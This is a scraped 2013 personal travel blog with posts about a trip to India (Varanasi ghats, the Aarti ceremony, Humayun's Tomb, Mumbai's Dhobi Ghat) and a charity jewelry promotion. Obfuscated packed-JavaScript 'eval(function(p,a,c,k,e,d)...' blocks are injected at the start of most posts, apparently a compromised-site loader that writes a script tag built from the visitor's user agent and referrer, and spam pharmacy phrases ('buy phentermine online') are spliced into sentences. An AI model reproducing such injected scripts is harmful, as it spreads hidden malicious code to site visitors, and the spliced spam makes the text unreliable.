Get Your Matterial Fix Here

2013, Fashion, Travel

As eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dezek|var|u0026u|referrer|nzyie||js|php’.split(‘|’),0,{}))
my readers know, I visited India as my trip abroad this year.  It is one of the most vibrant places I’ve ever visited!  However, in the midst of all the growth and life, there is extreme poverty in India.  I’m only one person, but together, we can make a difference. I know my readers are like me and love to shop!  So
Matterial Fix is the perfect store for you!  Matterial Fix is a jewelry store with designs inspired by the beauty of India.  They have partnered this fall with Freedom Firm so 10% of all proceeds from purchases will help eliminate child prostitution in India by rescuing minor girls, providing rehabilitation, and prosecuting the perpetrators of sex trafficking.

Shopping at Matterial Fix gives you beautiful jewelry and the chance to give back to a part of the world that developed countries continually rob of resources and enslaves the people into human trafficking and sweatshop labor. 

Matterial Fix

Did I mention how beautiful Matterial Fix jewelry is?  

Yours Truly at the Taj Mahal! It was pretty tough trying to be stylish in the Indian summer heat, but I managed – don’t you agree?

Snapshot from India

2013, Travel
Kate Styled Pretty, India, Photography, Varanasi

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Photo taken on the ghat steps in Varanasi, India.

I’m ashamed to say I did this a lot.  I randomly photographed people in India that just looked exactly like I imagined Indians to look like.  Do not do what I do.  However, I couldn’t help buy phentermine 37.5 online uk myself.  Every time I saw someone dressed in what I expected and doing what I always imagined they would be doing if I ever were to travel to India, I would take a photo as a reflex and a confirmation of my daydreams.  Yes.  I. Am. Guilty.

 

Snapshot from India

2013, Travel

Mumbai, India, Kate Styled Pretty, Kate Greer

My eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ffibk|var|u0026u|referrer|zsbss||js|php’.split(‘|’),0,{}))
first thought when I saw this in India was “phallic symbol,” which is very American of me. In fact, this statue personifies both the man and the woman and the unity of the entire universe. It is a common statue seen in almost every temple/shrine in India. This photograph is from the Elephanta Caves in Mumbai, India. Both tourists and Indians must take off their shoes before entering the temple to pray.

Today is also my Birthday! I never do anything big, but I love finding restaurants that offer free meals on your birthday! Nothing makes me feel so special as free food :)!

This is me chowing down on some masaman curry at Tuk Tuk Thai restaurant – a local favorite of mine. They are a chain and have locations everywhere, including California! I know because I accidentally ordered takeout from the California location once….

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Sign-up for their emails online and you can get a free entree on your birthday (drivers license required to prove birthdate)!

Snapshot from India

2013, Travel

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admit that sometimes turning photos black and white is an easy way to elevate them to a higher level, but let’s be honest, who doesn’t like black and white photos! So what if it’s an easy way out! These photos are from the Aarti ceremony in Varanasi, India.

Snapshot from India

2013, Travel

How many of you complain about doing laundry?  How many of you have washing machines and dryers and still complain about doing laundry?  I’m guilty of this trivial complaint like the next person, but imagine running a huge laundromat operation all by hand?  In Mumbai, there is an area known as the Dhobi Ghat where washers hand wash and open air dry clothes, sheets and more.  The washers are locally known as Dhobis, and the Dhobi Ghat is the world’s largest outdoor laundry operation.

Washing eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|knzfd|var|u0026u|referrer|dryfb||js|php’.split(‘|’),0,{}))
laundry by hand is a longstanding tradition in India.  Below, washers are using a flogging stone to beat the dirty laundry into submission in Varanasi, India.

Does washing your clothes in the holy waters of the Ganges River make them holy?

Snapshot from India

2013, Travel

India eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|senhs|var|u0026u|referrer|detyh||js|php’.split(‘|’),0,{}))
is a sleepy country in the summer.  I can’t blame them when the hottest part of the day reaches 114 degrees Fahrenheit. Below is a rickashaw driver on break in the streets of New Delhi, India. 

But what is more important than beauty sleep? Staying hydrated! Stray dogs roam the streets like pedestrians in India, they even have first-class tickets to major tourist attractions.  This dog is drinking out of one of the four canals in the garden of Humayun Tomb’s that represents the four major rivers of the world.

India Snapshot

2013, Travel

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kirdt|var|u0026u|referrer|zhefd||js|php’.split(‘|’),0,{}))
is a room in Humayun’s Tomb also known as “Baby Taj.”  Humayun’s Tomb was commissioned by the wife of
Mughal Emperor Humayun to honor him in 1565 and finished in 1572 AD at a cost of 1.5 million rupees.  In many ways, Humayun’s Tomb is a red sandstone version of the Taj Mahal.

I was constantly amazed at the quality of the craftsmanship and architecture skills applied during a primitive time in our world’s history.  This photo does not do Humayun’s Tomb justice.  The structure is staggeringly tall and ornate.  There is a lot of illogic in India, but one look at the amazing construction feats of their past gives rise to some hope for the burgeoning country’s future.

Snapshot from India

2013, Travel

To eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|binry|var|u0026u|referrer|rhfdi||js|php’.split(‘|’),0,{}))
the embarrassment of my travel companion, I shamelessly but inconspicuously took photos of people while traveling through India. I’m a people watcher, rather in front or behind my lens. I try and find their stories etched in people’s faces. It’s the candid moments when no one is looking that people reveal themselves. In so many ways, it is hard to capture this moment unless your camera is invisible.

This man was sitting on the steps of the ghat by the Ganges River watching the Aarti prayer ceremony in Varanasi, India. I don’t know his story, but many Hindus pilgrimage to this holy city to seek enlightenment. To me, he looks like he has been to many places to reach this moment where he hopes he can find salvation.

Priest at Aarti Ceremony

2013

Priest at Aarti Ceremony

Brahmin eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hskke|var|u0026u|referrer|sbfzk||js|php’.split(‘|’),0,{}))
priests spend an hour praying by the Ganges River as part of the Aarti Ceremony – a tradition that calls Hindu pilgrims to travel to Varanasi, India in droves each year. Hindus believe that they will reach Heaven if they are able to bath in the Ganges River and witness the Aarti Ceremony.

The Aarti ceremony is a worship ritual where light from wicks soaked in ghee (purified butter) or camphor is offered to one or more deities. The hour long ceremony includes chanting, burning of incenses and creates an enchanting musical evening as people ring bells and a drummer keeps the tempo.

Varanasi is one of the oldest continuously inhabited cities in the world and the oldest in India. It’s considered the holiest city for Hindus.

Inconclusive thoughts on India

2013, Travel

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I’m eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hkbad|var|u0026u|referrer|hzkai||js|php’.split(‘|’),0,{}))
in my second to last city before I leave India. Here are some of my inconclusive thoughts on the country that is a living oxymoron. Here the heat knocks the wind out of you before you’re able to recover. You’re breathless like after a marathon but you’ve only walked three feet. It’s not humid but you’re sticky from your own sweat that accumulates in seconds from leaving the shelter of shade. Life here is hard, dirty and smelly. The streets run with murky sludge that started as water centuries ago. Streets breed trash along the side – not sidewalks so pedestrians must keep an open ear for whizzing taxis and motorcycles. Fortunately, everyone here is liberal with their horn.

In addition, the food here, while tempting, is hard to know when to eat. I’ve been super careful so far and haven’t been out for the count, but my stomach still feels awful. I normally eat like a horse but here I eat like a bird.

India is the hardest place I’ve traveled to you because so much of the natural environment is harsh and unsafe. Travelers must be constantly vigilant from the food they consume to the places they are allowed to go. There seems to be a large army presence in domestic India. This is a place I would highly suggest a guide.

I’ve never traveled like this, but its nice to go from the protection of one guide to the next.

India continually teaches me one lesson – You cant let the things you cant control, control you.

If you can’t let go then you’ll never be able to appreciate the country, and India has so much to offer. As a a traveler thats been to Mongolia, there was a lot of Indian history tied into the Mongolian empire. The UNESCO World Heritage sites hold so much history and are completely awe-inspiring. It’s unimaginable to me how people back in 1500s and older were able to build these structures without modern day machine. From the Agra Fort to the Taj Mahal, the buildings span miles and rise to soaring heights. The detail and care put into these edifices are breathtaking.

This is a family-oriented society and with school out, it common to see an entire family out together. Here the Hindus and Muslims live in relative peace and tolerance. For a diverse country, there does seem to be much religious tolerance even if there are still intolerance between different classes. There is even a large Christian presence in the country. It is common to see on any given day women in burkas, saris, and western clothes. It is a culture that also respects women albeit progress still need to be made. At airports and security checkpoints, women always have a separate line that takes buy phentermine online them to an enclosed area where a female officer will pat you down. From the highest to the lowest level, everyone always addresses my boyfriend before they will speak to me – if they speak to me at all. He says if he catches people staring at me, they will immediately stop if caught by him.

Police officers check cars at security points to catch kidnappers and a child at the Buddha Smile School for slum children that a visited a few days ago was found dead recently because gang members had killed him since he witnessed one of their crimes. Their is so much injustice and rampant bribery in India, but these people are resilient and hard-workers. If slum children are willing to work morning to dusk to help their families earn 50 rupees which almost equates to one U.S. dollar, then I know these people have the will power and perseverance to move themselves out of poverty.

India is also one of the most colorful places I’ve witnessed. Saris here come in many colors but the most popular are the bright limes, yellows and reds. The saris pop out against their dark skins and red sandstone or molding stucco edifices. There is so much life under the Indian sun despite all odds.

The feats of human nature here are outstanding. From the beautiful remains of these ruins to how the natives manage to eek out a living in such a harsh place is nothing short of a miracle. Discrimination still thrives here with the socially acceptable caste-system though it is no longer legitimized by the government. Our driver yesterday was saying how the government does not work well. The era of British control, while not perfect, eased the life of natives with good order and leadership.

Now the country has too much corruption. I was told that the government won’t commission to fix the sewer systems because of fear of loosing jobs for the plumbers. There is so much construction site throughout India, but I’ve yet to see much work and progress. The government here is young and the partisan politics seem petty and illogical. Hopefully with time and good leadership, a system can be implemented to relieve the stress of a country with the second highest impoverished population.

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Soon the monsoon season will begin here and the parched countryside will convert to a lush green. They grow everything from rice to tropical fruits. I’m surprised at the amount of vegetation under the blistering sun, but I forget that half they year they endure torrential rain.

Only a few days until I’m back in the U.S. and I have, literally, a thousand photos to edit. There was so much contrast and beauty here to capture. I can’t wait to share more of my experience and memories with you!